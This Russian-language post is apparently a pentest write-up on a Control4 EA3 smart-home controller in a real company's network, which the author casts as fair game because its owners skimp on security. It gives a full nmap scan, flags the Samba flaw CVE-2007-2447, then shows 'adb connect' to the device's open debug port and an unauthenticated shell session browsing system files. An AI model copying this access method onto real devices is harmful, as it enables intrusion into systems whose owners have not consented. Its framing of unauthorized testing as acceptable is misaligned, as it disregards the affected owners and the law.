Всем таксистам этого таксопарка посвящается
Сегодня поговорим про пентест
Для начала немного теории
Современные системы умного дома стремятся объединить управление освещением, климатом, мультимедиа, безопасностью и другими аспектами жилого пространства в единую платформу. Одним из лидеров в этой области является Control4 — коммерческая платформа, широко используемая в резиденциях премиум-класса и коммерческих объектах.
Control4 построена по принципу централизованного управления:
- Контроллер (EA3) — «мозг» системы. Это встраиваемое устройство на базе Android/Linux, которое:
- Управляет всеми подключенными устройствами (через Zigbee, Z-Wave, IP, RS-232 и др.)
- Хостит веб-интерфейс Composer для настройки
- Запускает локальные сервисы: Samba, ADB, nginx, кастомные демоны
- Клиенты — сенсорные панели, мобильные приложения, настенные панели
- Интеграции — сторонние устройства (камеры, термостаты, аудиосистемы), управляемые через драйверы.
А собственно, откуда у меня появилась мысль об этом поговорить и где я взял пищу для размышлений?
Ни для кого не секрет, что коммерческие организации, руководители которых рассекают на дорогих люксовых авто на лазурном побережья, и которые не вкладываются в вопросы информационной безопасности автоматически - дают молодым умам возможность отточить навыки в анализе защищенности их сетевой инфраструктуры.
- Итак, что у нас есть – небольшая сетка, один роут, допотопные админки и несколько расшаренных шар.
- Какого бы уровня пентестером вы не были, вы должны понимать – IoT это мозги на ядре линукса, другого не дано, или в категорически маленьком процентно соотношении что-то из разряда норм.
- Control4 построена по принципу централизованного управления:
- Контроллер (EA3) — «мозг» системы. Это встраиваемое устройство на базе Android/Linux, которое:
- Управляет всеми подключенными устройствами (через Zigbee, Z-Wave, IP, RS-232 и др.)
- Веб-интерфейс Composer для настройки
- Запускает локальные сервисы: Samba, ADB, nginx, пользовательские демоны
- Клиенты — сенсорные панели, мобильные приложения, настенные панели
- Интеграция — сторонние устройства (камеры, термостаты, аудиосистемы), управляемые через драйверы.
- Контроллер (EA3) — «мозг» системы. Это встраиваемое устройство на базе Android/Linux, которое:
- Почему во встроенных устройствах (включая Control4) остаются уязвимые сервисы, такие как SMB и ADB
Разработчики встраиваемых систем часто жертвуют безопасностью ради упрощения разработки, отладки и поддержки. Это проявляется в следующем:
- Использование стандартных, но незащищённых протоколов
Вместо разработки собственных защищенных механизмов обмена данными производители используют готовые сетевые сервисы — например, Samba (SMB/CIFS) для обмена файлами или Android Debug Bridge (ADB) для отладки. Это экономит время и ресурсы, но создает критические риски, если сервисы остаются включенными в финальной версии устройства. - Отладочные интерфейсы не отключаются перед выпуском
Как показывает практика, ADB часто прослушивает TCP-порт 5555 без аутентификации, что позволяет любому пользователю в локальной сети получить полный доступ к оболочке. Это типично для устройств на базе AOSP (Android Open Source Project), где ADB включён по умолчанию и редко отключается производителем. - SMB-шары с гостевым доступом
Во встроенных устройствах Samba иногда настраивается с параметром security = share и разрешённым гостевым доступом (guest ok = yes), что упрощает интеграцию с сетями Windows, но делает систему уязвимой для атак вроде CVE-2007-2447 (RCE через подстановку команд в имя пользователя). - Отсутствие регулярных обновлений
Устройства «умного дома» редко получают обновления безопасности. Например, Samba 3.0.37, обнаруженная в Control4 EA3, была выпущена в 2009 году и содержит множество известных уязвимостей. Однако замена или обновление компонентов требует усилий по тестированию и сертификации, что экономически невыгодно для производителя. - Документация и практика подтверждают это
- В официальной документации Control4 акцент сделан на удобстве интеграции и управлении силами одного сертифицированного специалиста, а не на сетевой безопасности.
- Исследования IoT-устройств (например, от NCC Group, Rapid7 или в рамках проектов типа IoT Inspector) неоднократно выявляли открытые SMB, ADB, Telnet и другие сервисы в коммерческих продуктах.
- Даже в руководствах по развёртыванию Control4 не упоминается о необходимости отключения отладочных интерфейсов или сегментации сети.
- Использование стандартных, но незащищённых протоколов
как оно выглядит?
Не удалось прогрузить медиа
Bash:
Nmap scan report for 192.168.10.30
Host is up (0.12s latency).
Not shown: 984 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh Dropbear sshd 2016.73 (protocol 2.0)
80/tcp open http nginx 1.10.3
|_http-server-header: nginx/1.10.3
|_http-title: Did not follow redirect to https://192.168.10.30/composer/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: CONTROL4HOME)
443/tcp open ssl/http nginx 1.10.3
|_http-server-header: nginx/1.10.3
| ssl-cert: Subject: commonName=EA3-MasterBedroom-000FFF925045/organizationName=Control4/stateOrProvinceName=Utah/countryName=US
| Issuer: commonName=EA3-MasterBedroom-000FFF925045/organizationName=Control4/stateOrProvinceName=Utah/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-06-29T23:21:32
| Not valid after: 2028-06-27T23:21:32
| MD5: 835f:6bd6:ba76:ac8e:630c:03ec:40f9:18cd
|_SHA-1: 6134:a931:40bd:99aa:a7f3:846f:f1f6:c9bc:f4a1:6e16
| http-title: Control4
|_Requested resource was https://192.168.10.30/composer/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
445/tcp open netbios-ssn Samba smbd 3.0.37 (workgroup: CONTROL4HOME)
2000/tcp open tcpwrapped
5060/tcp open tcpwrapped
5100/tcp open admd?
| fingerprint-strings:
| DNSStatusRequestTCP:
| 0rc071 c4.hc.ping
| SIPOptions:
| 0rbfa7 c4.hc.ping
| TerminalServerCookie:
| 0rbfa6 c4.hc.ping
| oracle-tns:
| 0rc072 c4.hc.ping
|_ 0rbfa8 c4.hc.ping
5101/tcp open admdog?
5102/tcp open admeng?
5555/tcp open adb Android Debug Bridge device (name: EA3; model: EA3; device: EA3)
5810/tcp open ssl/msdtc Microsoft Distributed Transaction Coordinator (error)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=EA3-MasterBedroom-000FFF925045/organizationName=Control4/stateOrProvinceName=Utah/countryName=US
| Issuer: commonName=EA3-MasterBedroom-000FFF925045/organizationName=Control4/stateOrProvinceName=Utah/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-06-29T23:21:32
| Not valid after: 2028-06-27T23:21:32
| MD5: 835f:6bd6:ba76:ac8e:630c:03ec:40f9:18cd
|_SHA-1: 6134:a931:40bd:99aa:a7f3:846f:f1f6:c9bc:f4a1:6e16
5811/tcp open ssl/unknown
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings:
| FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, LDAPSearchReq, RTSPRequest, TLSSessionReq:
| Invalid command
| Invalid command
| Help, Kerberos, LPDString, SSLSessionReq, TerminalServerCookie:
| Invalid command
| SIPOptions:
| Invalid command
| Invalid command
| Invalid command
| Invalid command
| Invalid command
| Invalid command
| Invalid command
| Invalid command
| Invalid command
| Invalid command
|_ Invalid command
| ssl-cert: Subject: commonName=EA3-MasterBedroom-000FFF925045/organizationName=Control4/stateOrProvinceName=Utah/countryName=US
| Issuer: commonName=EA3-MasterBedroom-000FFF925045/organizationName=Control4/stateOrProvinceName=Utah/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-06-29T23:21:32
| Not valid after: 2028-06-27T23:21:32
| MD5: 835f:6bd6:ba76:ac8e:630c:03ec:40f9:18cd
|_SHA-1: 6134:a931:40bd:99aa:a7f3:846f:f1f6:c9bc:f4a1:6e16
6000/tcp open X11?
| fingerprint-strings:
| FourOhFourRequest:
| GET BAD /nice%20ports%2C/Tri%6Eity.txt%2ebak Unsupported command.
| Missing command or tag.
| GenericLines, LDAPSearchReq:
| * BAD Missing command or tag.
| Missing command or tag.
| GetRequest:
| GET BAD / Unsupported command.
| Missing command or tag.
| HTTPOptions, RTSPRequest:
| OPTIONS BAD / Unsupported command.
| Missing command or tag.
| Help, Kerberos, LPDString, SSLSessionReq, TLSSessionReq:
| * BAD Missing command or tag.
| SIPOptions:
| OPTIONS BAD sip:nm Unsupported command.
| Via: BAD SIP/2.0/TCP Unsupported command.
| From: BAD <sip:nm@nm>;tag=root Unsupported command.
| <sip:nm2@nm2> Unsupported command.
| Call-ID: BAD 50000 Unsupported command.
| CSeq: BAD 42 Unsupported command.
| Max-Forwards: BAD 70 Unsupported command.
| Content-Length: BAD 0 Unsupported command.
| Contact: BAD <sip:nm@nm> Unsupported command.
| Accept: BAD application/sdp Unsupported command.
| Missing command or tag.
| TerminalServerCookie:
|_ Cookie: BAD mstshash=nmap Unsupported command.
6100/tcp open synchronet-db?
| fingerprint-strings:
| FourOhFourRequest:
| GET BAD /nice%20ports%2C/Tri%6Eity.txt%2ebak Unsupported command.
| Missing command or tag.
| GenericLines, LDAPSearchReq:
| * BAD Missing command or tag.
| Missing command or tag.
| GetRequest:
| GET BAD / Unsupported command.
| Missing command or tag.
| HTTPOptions, RTSPRequest:
| OPTIONS BAD / Unsupported command.
| Missing command or tag.
| Help, Kerberos, LPDString, SSLSessionReq, TLSSessionReq:
| * BAD Missing command or tag.
| SIPOptions:
| OPTIONS BAD sip:nm Unsupported command.
| Via: BAD SIP/2.0/TCP Unsupported command.
| From: BAD <sip:nm@nm>;tag=root Unsupported command.
| <sip:nm2@nm2> Unsupported command.
| Call-ID: BAD 50000 Unsupported command.
| CSeq: BAD 42 Unsupported command.
| Max-Forwards: BAD 70 Unsupported command.
| Content-Length: BAD 0 Unsupported command.
| Contact: BAD <sip:nm@nm> Unsupported command.
| Accept: BAD application/sdp Unsupported command.
| Missing command or tag.
| TerminalServerCookie:
|_ Cookie: BAD mstshash=nmap Unsupported command.
20000/tcp open dnp?
4 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port5100-TCP:V=7.95%I=7%D=10/28%Time=690120C1%P=x86_64-pc-linux-gnu%r(D
SF:NSStatusRequestTCP,14,"0rc071\x20c4\.hc\.ping\x20\r\n")%r(TerminalServe
SF:rCookie,14,"0rbfa6\x20c4\.hc\.ping\x20\r\n")%r(SIPOptions,14,"0rbfa7\x2
SF:0c4\.hc\.ping\x20\r\n")%r(oracle-tns,28,"0rc072\x20c4\.hc\.ping\x20\r\n
SF:0rbfa8\x20c4\.hc\.ping\x20\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port5811-TCP:V=7.95%T=SSL%I=7%D=10/28%Time=690120BB%P=x86_64-pc-linux-g
SF:nu%r(GenericLines,26,"Invalid\x20command\nOK\nInvalid\x20command\nOK\n"
SF:)%r(GetRequest,26,"Invalid\x20command\nOK\nInvalid\x20command\nOK\n")%r
SF:(HTTPOptions,26,"Invalid\x20command\nOK\nInvalid\x20command\nOK\n")%r(R
SF:TSPRequest,26,"Invalid\x20command\nOK\nInvalid\x20command\nOK\n")%r(Hel
SF:p,13,"Invalid\x20command\nOK\n")%r(SSLSessionReq,13,"Invalid\x20command
SF:\nOK\n")%r(TerminalServerCookie,13,"Invalid\x20command\nOK\n")%r(TLSSes
SF:sionReq,26,"Invalid\x20command\nOK\nInvalid\x20command\nOK\n")%r(Kerber
SF:os,13,"Invalid\x20command\nOK\n")%r(FourOhFourRequest,26,"Invalid\x20co
SF:mmand\nOK\nInvalid\x20command\nOK\n")%r(LPDString,13,"Invalid\x20comman
SF:d\nOK\n")%r(LDAPSearchReq,26,"Invalid\x20command\nOK\nInvalid\x20comman
SF:d\nOK\n")%r(SIPOptions,D1,"Invalid\x20command\nOK\nInvalid\x20command\n
SF:OK\nInvalid\x20command\nOK\nInvalid\x20command\nOK\nInvalid\x20command\
SF:nOK\nInvalid\x20command\nOK\nInvalid\x20command\nOK\nInvalid\x20command
SF:\nOK\nInvalid\x20command\nOK\nInvalid\x20command\nOK\nInvalid\x20comman
SF:d\nOK\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port6000-TCP:V=7.95%I=7%D=10/28%Time=690120A2%P=x86_64-pc-linux-gnu%r(H
SF:TTPOptions,43,"OPTIONS\x20BAD\x20/\x20Unsupported\x20command\.\r\n\*\x2
SF:0BAD\x20Missing\x20command\x20or\x20tag\.\r\n")%r(GenericLines,3E,"\*\x
SF:20BAD\x20Missing\x20command\x20or\x20tag\.\r\n\*\x20BAD\x20Missing\x20c
SF:ommand\x20or\x20tag\.\r\n")%r(GetRequest,3F,"GET\x20BAD\x20/\x20Unsuppo
SF:rted\x20command\.\r\n\*\x20BAD\x20Missing\x20command\x20or\x20tag\.\r\n
SF:")%r(RTSPRequest,43,"OPTIONS\x20BAD\x20/\x20Unsupported\x20command\.\r\
SF:n\*\x20BAD\x20Missing\x20command\x20or\x20tag\.\r\n")%r(Help,1F,"\*\x20
SF:BAD\x20Missing\x20command\x20or\x20tag\.\r\n")%r(SSLSessionReq,1F,"\*\x
SF:20BAD\x20Missing\x20command\x20or\x20tag\.\r\n")%r(TerminalServerCookie
SF:,3B,"\x03\0\0\*%\xe0\0\0\0\0\0Cookie:\x20BAD\x20mstshash=nmap\x20Unsupp
SF:orted\x20command\.\r\n")%r(TLSSessionReq,1F,"\*\x20BAD\x20Missing\x20co
SF:mmand\x20or\x20tag\.\r\n")%r(Kerberos,1F,"\*\x20BAD\x20Missing\x20comma
SF:nd\x20or\x20tag\.\r\n")%r(FourOhFourRequest,62,"GET\x20BAD\x20/nice%20p
SF:orts%2C/Tri%6Eity\.txt%2ebak\x20Unsupported\x20command\.\r\n\*\x20BAD\x
SF:20Missing\x20command\x20or\x20tag\.\r\n")%r(LPDString,1F,"\*\x20BAD\x20
SF:Missing\x20command\x20or\x20tag\.\r\n")%r(LDAPSearchReq,3E,"\*\x20BAD\x
SF:20Missing\x20command\x20or\x20tag\.\r\n\*\x20BAD\x20Missing\x20command\
SF:x20or\x20tag\.\r\n")%r(SIPOptions,1D8,"OPTIONS\x20BAD\x20sip:nm\x20Unsu
SF:pported\x20command\.\r\nVia:\x20BAD\x20SIP/2\.0/TCP\x20Unsupported\x20c
SF:ommand\.\r\nFrom:\x20BAD\x20<sip:nm@nm>;tag=root\x20Unsupported\x20comm
SF:and\.\r\nTo:\x20BAD\x20<sip:nm2@nm2>\x20Unsupported\x20command\.\r\nCal
SF:l-ID:\x20BAD\x2050000\x20Unsupported\x20command\.\r\nCSeq:\x20BAD\x2042
SF:\x20Unsupported\x20command\.\r\nMax-Forwards:\x20BAD\x2070\x20Unsupport
SF:ed\x20command\.\r\nContent-Length:\x20BAD\x200\x20Unsupported\x20comman
SF:d\.\r\nContact:\x20BAD\x20<sip:nm@nm>\x20Unsupported\x20command\.\r\nAc
SF:cept:\x20BAD\x20application/sdp\x20Unsupported\x20command\.\r\n\*\x20BA
SF:D\x20Missing\x20command\x20or\x20tag\.\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port6100-TCP:V=7.95%I=7%D=10/28%Time=690120A2%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,3E,"\*\x20BAD\x20Missing\x20command\x20or\x20tag\.\r\n\*\x2
SF:0BAD\x20Missing\x20command\x20or\x20tag\.\r\n")%r(GetRequest,3F,"GET\x2
SF:0BAD\x20/\x20Unsupported\x20command\.\r\n\*\x20BAD\x20Missing\x20comman
SF:d\x20or\x20tag\.\r\n")%r(HTTPOptions,43,"OPTIONS\x20BAD\x20/\x20Unsuppo
SF:rted\x20command\.\r\n\*\x20BAD\x20Missing\x20command\x20or\x20tag\.\r\n
SF:")%r(RTSPRequest,43,"OPTIONS\x20BAD\x20/\x20Unsupported\x20command\.\r\
SF:n\*\x20BAD\x20Missing\x20command\x20or\x20tag\.\r\n")%r(Help,1F,"\*\x20
SF:BAD\x20Missing\x20command\x20or\x20tag\.\r\n")%r(SSLSessionReq,1F,"\*\x
SF:20BAD\x20Missing\x20command\x20or\x20tag\.\r\n")%r(TerminalServerCookie
SF:,3B,"\x03\0\0\*%\xe0\0\0\0\0\0Cookie:\x20BAD\x20mstshash=nmap\x20Unsupp
SF:orted\x20command\.\r\n")%r(TLSSessionReq,1F,"\*\x20BAD\x20Missing\x20co
SF:mmand\x20or\x20tag\.\r\n")%r(Kerberos,1F,"\*\x20BAD\x20Missing\x20comma
SF:nd\x20or\x20tag\.\r\n")%r(FourOhFourRequest,62,"GET\x20BAD\x20/nice%20p
SF:orts%2C/Tri%6Eity\.txt%2ebak\x20Unsupported\x20command\.\r\n\*\x20BAD\x
SF:20Missing\x20command\x20or\x20tag\.\r\n")%r(LPDString,1F,"\*\x20BAD\x20
SF:Missing\x20command\x20or\x20tag\.\r\n")%r(LDAPSearchReq,3E,"\*\x20BAD\x
SF:20Missing\x20command\x20or\x20tag\.\r\n\*\x20BAD\x20Missing\x20command\
SF:x20or\x20tag\.\r\n")%r(SIPOptions,1D8,"OPTIONS\x20BAD\x20sip:nm\x20Unsu
SF:pported\x20command\.\r\nVia:\x20BAD\x20SIP/2\.0/TCP\x20Unsupported\x20c
SF:ommand\.\r\nFrom:\x20BAD\x20<sip:nm@nm>;tag=root\x20Unsupported\x20comm
SF:and\.\r\nTo:\x20BAD\x20<sip:nm2@nm2>\x20Unsupported\x20command\.\r\nCal
SF:l-ID:\x20BAD\x2050000\x20Unsupported\x20command\.\r\nCSeq:\x20BAD\x2042
SF:\x20Unsupported\x20command\.\r\nMax-Forwards:\x20BAD\x2070\x20Unsupport
SF:ed\x20command\.\r\nContent-Length:\x20BAD\x200\x20Unsupported\x20comman
SF:d\.\r\nContact:\x20BAD\x20<sip:nm@nm>\x20Unsupported\x20command\.\r\nAc
SF:cept:\x20BAD\x20application/sdp\x20Unsupported\x20command\.\r\n\*\x20BA
SF:D\x20Missing\x20command\x20or\x20tag\.\r\n");
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.11 - 4.9
Uptime guess: 127.703 days (since Sun Jun 22 23:11:10 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OSs: Linux, Android, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows
Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery:
| OS: Unix (Samba 3.0.37)
| NetBIOS computer name:
| Workgroup: CONTROL4HOME\x00
|_ System time: 2025-10-28T21:02:32+01:00
| smb-security-mode:
| account_used: guest
| authentication_level: share (dangerous)
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| nbstat: NetBIOS name: 000FFF925045-EA, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| 000FFF925045-EA<00> Flags: <unique><active>
| 000FFF925045-EA<03> Flags: <unique><active>
| 000FFF925045-EA<20> Flags: <unique><active>
| CONTROL4HOME<1d> Flags: <unique><active>
| CONTROL4HOME<1e> Flags: <group><active>
|_ CONTROL4HOME<00> Flags: <group><active>
|_clock-skew: mean: -30m00s, deviation: 42m25s, median: -1h00m00s
TRACEROUTE
HOP RTT ADDRESS
1 117.77 ms 192.168.10.30
NSE: Script Post-scanning.
Initiating NSE at 16:03
Completed NSE at 16:03, 0.00s elapsed
Initiating NSE at 16:03
Completed NSE at 16:03, 0.00s elapsed
Initiating NSE at 16:03
Completed NSE at 16:03, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 257.31 seconds
Raw packets sent: 1419 (63.366KB) | Rcvd: 1105 (46.587KB)
- Устройство: Control4 EA3 — контроллер умного дома.
- ОС: Linux 3.11–4.9 (встроенный, на базе Android, судя по ADB).
- Аптайм: ~128 дней → система стабильна, давно работает без перезагрузки.
ПортСервисВерсия / ПримечанияРиск**22/tcp**SSHDropbear 2016.73Устаревший SSH-демон, возможны уязвимости (например, CVE-2017-9079), но без учётных данных бесполезен.**80/443/tcp**HTTP/HTTPSnginx 1.10.3 + редирект на `/composer/`Веб-интерфейс **Control4 Composer** — основная точка входа. Требует аутентификации.**139/445/tcp**SMBSamba **3.0.37****КРИТИЧЕСКИ УЯЗВИМ!** CVE-2007-2447 (RCE через username). Гостевой доступ разрешён (`guest`), подпись отключена → **прямой путь к выполнению кода**.**5555/tcp**ADBAndroid Debug Bridge**ПОЛНЫЙ ДОСТУП!** Устройство отвечает как Android-устройство. **ADB без аутентификации = shell без пароля.****5100–5102/tcp**Кастомные демоны`admd`, `admdog`, `admeng`Внутренние сервисы Control4. Отвечают на запросы (например, `c4.hc.ping`). Могут содержать скрытые команды или флаги.**5810–5811/tcp**SSL-сервисыMSDTC и unknownИспользуют **тот же сертификат**, что и веб. Отвечают: `Invalid command`. Возможен кастомный протокол.**6000/6100/tcp**X11 / SynchroNetОтвечают: `* BAD Missing command or tag.`Имитируют IMAP/X11, но на самом деле — кастомные демоны.
SMB (порты 139/445)
- Версия: Samba smbd 3.0.37 — выпущена в 2009 году.
- Гостевой доступ: разрешён (account_used: guest).
- Уровень аутентификации: share (опасно).
- Подпись сообщений: отключена → возможны атаки типа SMB relay.
- CVE-2007-2447: позволяет выполнить произвольные команды через подстановку в поле username.
- Имя устройства: EA3, модель: EA3.
- Нет аутентификации→ любой в локальной сети может выполнить:
- Это самый простой и надёжный способ получить shell.
Эксплойт не залетел, покажу сразу ADB
┌──(root㉿kali)-[/home/kali]
└─# adb connect 192.168.10.30:5555
adb shell
already connected to 192.168.10.30:5555
shell@EA3:/ $ ls
acct
bin
cache
config
d
data
default.prop
dev
etc
file_contexts
init
init.control4.rc
init.environ.rc
init.intelce.rc
init.rc
init.rcn
init.trace.rc
init.usb.rc
init.zygote32.rc
mnt
proc
property_contexts
sbin
seapp_contexts
selinux_version
sepolicy
service_contexts
storage
sys
system
ueventd.rc
vendor
shell@EA3:/ $ whoami
shell
shell@EA3:/ $
shell@EA3:/ $
shell@EA3:/ $
shell@EA3:/ $
shell@EA3:/ $
shell@EA3:/ $ ls
acct
bin
cache
config
d
data
default.prop
dev
etc
file_contexts
init
init.control4.rc
init.environ.rc
init.intelce.rc
init.rc
init.rcn
init.trace.rc
init.usb.rc
init.zygote32.rc
mnt
proc
property_contexts
sbin
seapp_contexts
selinux_version
sepolicy
service_contexts
storage
sys
system
ueventd.rc
vendor
shell@EA3:/ $ cd /etc
shell@EA3:/etc $ ls
Control4OpenSourceSoftwareNoticeAndroid.htm.gz
NOTICE.html.gz
audio.intelce.xml
audio_effects.conf
audio_policy.conf
bluetooth
clatd.conf
cleaninput.sh
dhcpcd
event-log-tags
fallback_fonts.xml
hosts
media_codecs.xml
media_profiles.xml
mkshrc
permissions
ppp
security
setupdns.sh
system_fonts.xml
shell@EA3:/etc $ cd security/
shell@EA3:/etc/security $ ls
cacerts
mac_permissions.xml
otacerts.zip
shell@EA3:/etc/security $ cat cacerts/
/system/bin/sh: cat: cacerts/: Is a directory
1|shell@EA3:/etc/security $ cd cacerts/
shell@EA3:/etc/security/cacerts $ ls
00673b5b.0
02b73561.0
052e396b.0
08aef7bb.0
0d188d89.0
10531352.0
111e6273.0
119afc2e.0
124bbd54.0
12d55845.0
1676090a.0
17b51fe6.0
1dac3003.0
1dbdda5b.0
1dcd6f4c.0
1df5a75f.0
1e1eab7c.0
1e8e7201.0
1eb37bdf.0
21855f49.0
219d9499.0
23f4c490.0
27af790d.0
2afc57aa.0
2d9dafe4.0
2e8714cb.0
2fa87019.0
2fb1850a.0
33815e15.0
33815e15.1
343eb6cb.0
399e7759.0
3a3b02ce.0
3ad48a91.0
3c58f906.0
3c860d51.0
3c9a4d3b.0
3d441de8.0
3e7271e8.0
40dc992e.0
418595b9.0
450c6e38.0
455f1b52.0
48478734.0
48a195d8.0
4d654d1d.0
4e18c148.0
4fbd6bfa.0
5021a0a2.0
5046c355.0
524d9b43.0
56b8a0b6.0
57692373.0
58a44af1.0
594f1775.0
5a3f0ff8.0
5a5372fc.0
5cf9d536.0
5e4e69e7.0
5f47b495.0
60afe812.0
635ccfd5.0
63a2c897.0
67495436.0
69105f4f.0
6adf0799.0
6e8bf996.0
6fcc125d.0
72f369af.0
72fa7371.0
74c26bd0.0
75680d2e.0
7651b327.0
76579174.0
7672ac4b.0
7999be0d.0
7a481e66.0
7a819ef2.0
7d3cd826.0
7d453d8f.0
81b9768f.0
82223c44.0
8470719d.0
84cba82f.0
85cde254.0
86212b19.0
87753b0d.0
882de061.0
895cad1a.0
89c02a45.0
91739615.0
9339512a.0
9576d26b.0
95aff9e3.0
9685a493.0
9772ca32.0
9ab62355.0
9d6523ce.0
9dbefe7b.0
9f533518.0
a0bc6fbb.0
a2df7ad7.0
a3896b44.0
a7605362.0
a7d2cf64.0
ab5346f4.0
add67345.0
aeb67534.0
b0ed035a.0
b0f3e76e.0
b3fb433b.0
b7db1890.0
b872f2b4.0
bc3f2570.0
bcdd5959.0
bda4cc84.0
bdacca6f.0
bf64f35b.0
c33a80d4.0
c3a6a9ad.0
c51c224c.0
c527e4ab.0
c7e2a638.0
c8763593.0
cb156124.0
ccc52f49.0
cdaebb72.0
cf701eeb.0
d16a5865.0
d537fba6.0
d59297b8.0
d64f06f3.0
d66b55d9.0
d7746a63.0
dbc54cab.0
ddc328ff.0
e268a4c5.0
e48193cf.0
e60bf0c0.0
e775ed2d.0
e7b8d656.0
e8651083.0
ea169617.0
eb375c3e.0
ed524cf5.0
ee7cd6fb.0
ee90b008.0
f4996e82.0
f58a60fe.0
f61bff45.0
f80cc7f6.0
fac084d7.0
facacbc6.0
fb126c6d.0
fde84897.0
ff783690.0
shell@EA3:/etc/security/cacerts $ cat 89
895cad1a.0 89c02a45.0
shell@EA3:/etc/security/cacerts $ cat 895cad1a.0
00673b5b.0 2afc57aa.0 4e18c148.0 72fa7371.0 9576d26b.0 bda4cc84.0 e60bf0c0.0
02b73561.0 2d9dafe4.0 4fbd6bfa.0 74c26bd0.0 95aff9e3.0 bdacca6f.0 e775ed2d.0
052e396b.0 2e8714cb.0 5021a0a2.0 75680d2e.0 9685a493.0 bf64f35b.0 e7b8d656.0
08aef7bb.0 2fa87019.0 5046c355.0 7651b327.0 9772ca32.0 c33a80d4.0 e8651083.0
0d188d89.0 2fb1850a.0 524d9b43.0 76579174.0 9ab62355.0 c3a6a9ad.0 ea169617.0
10531352.0 33815e15.0 56b8a0b6.0 7672ac4b.0 9d6523ce.0 c51c224c.0 eb375c3e.0
111e6273.0 33815e15.1 57692373.0 7999be0d.0 9dbefe7b.0 c527e4ab.0 ed524cf5.0
119afc2e.0 343eb6cb.0 58a44af1.0 7a481e66.0 9f533518.0 c7e2a638.0 ee7cd6fb.0
124bbd54.0 399e7759.0 594f1775.0 7a819ef2.0 a0bc6fbb.0 c8763593.0 ee90b008.0
12d55845.0 3a3b02ce.0 5a3f0ff8.0 7d3cd826.0 a2df7ad7.0 cb156124.0 f4996e82.0
1676090a.0 3ad48a91.0 5a5372fc.0 7d453d8f.0 a3896b44.0 ccc52f49.0 f58a60fe.0
17b51fe6.0 3c58f906.0 5cf9d536.0 81b9768f.0 a7605362.0 cdaebb72.0 f61bff45.0
1dac3003.0 3c860d51.0 5e4e69e7.0 82223c44.0 a7d2cf64.0 cf701eeb.0 f80cc7f6.0
1dbdda5b.0 3c9a4d3b.0 5f47b495.0 8470719d.0 ab5346f4.0 d16a5865.0 fac084d7.0
1dcd6f4c.0 3d441de8.0 60afe812.0 84cba82f.0 add67345.0 d537fba6.0 facacbc6.0
1df5a75f.0 3e7271e8.0 635ccfd5.0 85cde254.0 aeb67534.0 d59297b8.0 fb126c6d.0
1e1eab7c.0 40dc992e.0 63a2c897.0 86212b19.0 b0ed035a.0 d64f06f3.0 fde84897.0
1e8e7201.0 418595b9.0 67495436.0 87753b0d.0 b0f3e76e.0 d66b55d9.0 ff783690.0
1eb37bdf.0 450c6e38.0 69105f4f.0 882de061.0 b3fb433b.0 d7746a63.0
21855f49.0 455f1b52.0 6adf0799.0 895cad1a.0 b7db1890.0 dbc54cab.0
219d9499.0 48478734.0 6e8bf996.0 89c02a45.0 b872f2b4.0 ddc328ff.0
23f4c490.0 48a195d8.0 6fcc125d.0 91739615.0 bc3f2570.0 e268a4c5.0
27af790d.0 4d654d1d.0 72f369af.0 9339512a.0 bcdd5959.0 e48193cf.0
shell@EA3:/etc/security/cacerts $ cat 895cad1a.0
-----BEGIN CERTIFICATE-----
MIIDVTCCAj2gAwIBAgIESTMAATANBgkqhkiG9w0BAQUFADAyMQswCQYDVQQGEwJD
TjEOMAwGA1UEChMFQ05OSUMxEzARBgNVBAMTCkNOTklDIFJPT1QwHhcNMDcwNDE2
MDcwOTE0WhcNMjcwNDE2MDcwOTE0WjAyMQswCQYDVQQGEwJDTjEOMAwGA1UEChMF
Q05OSUMxEzARBgNVBAMTCkNOTklDIFJPT1QwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDTNfc/c3et6FtzF8LRb+1VvG7q6KR5smzDo+/hn7E7SIX1mlwh
IhAsxYLO2uOabjfhhyzcuQxauohV3/2q2x8x6gHx3zkBwRP9SFIhxFXf2tizVHa6
dLG3fdfA6PZZxU3Iva0fFNrfWEQlMhkqx35+jq44sDB7R3IJMfAw28Mbdim7aXZO
V/kbZKKTVrdvmW7bCgScEeOAH8tjlBAKqeFkgjH5jCftppkA9nCTGPihNIaj3XrC
GHn2emU1z5DrvTOTn1OrczvmmzQgLx3vqR1jGqCA2wMv+SYahtKNu6m+UjqHZ0gN
v7Sg2Ca+I19zN38m5pIEo3/PIKe38zrKy5nLAgMBAAGjczBxMBEGCWCGSAGG+EIB
